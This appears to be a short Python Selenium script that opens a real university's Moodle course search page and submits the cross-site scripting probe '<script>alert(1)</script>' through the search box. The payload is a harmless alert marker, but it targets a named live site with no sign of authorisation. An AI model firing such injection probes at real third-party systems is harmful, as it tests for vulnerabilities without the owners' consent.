Newer
Older
#!/usr/bin/python
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
browser = webdriver.Firefox()
browser.get("https://ole.unibz.it/course/search.php?")
searchbar = browser.find_element_by_name("search") # Find the search box
searchbar.send_keys("<script>alert(1)</script>" + Keys.RETURN)
browser.close()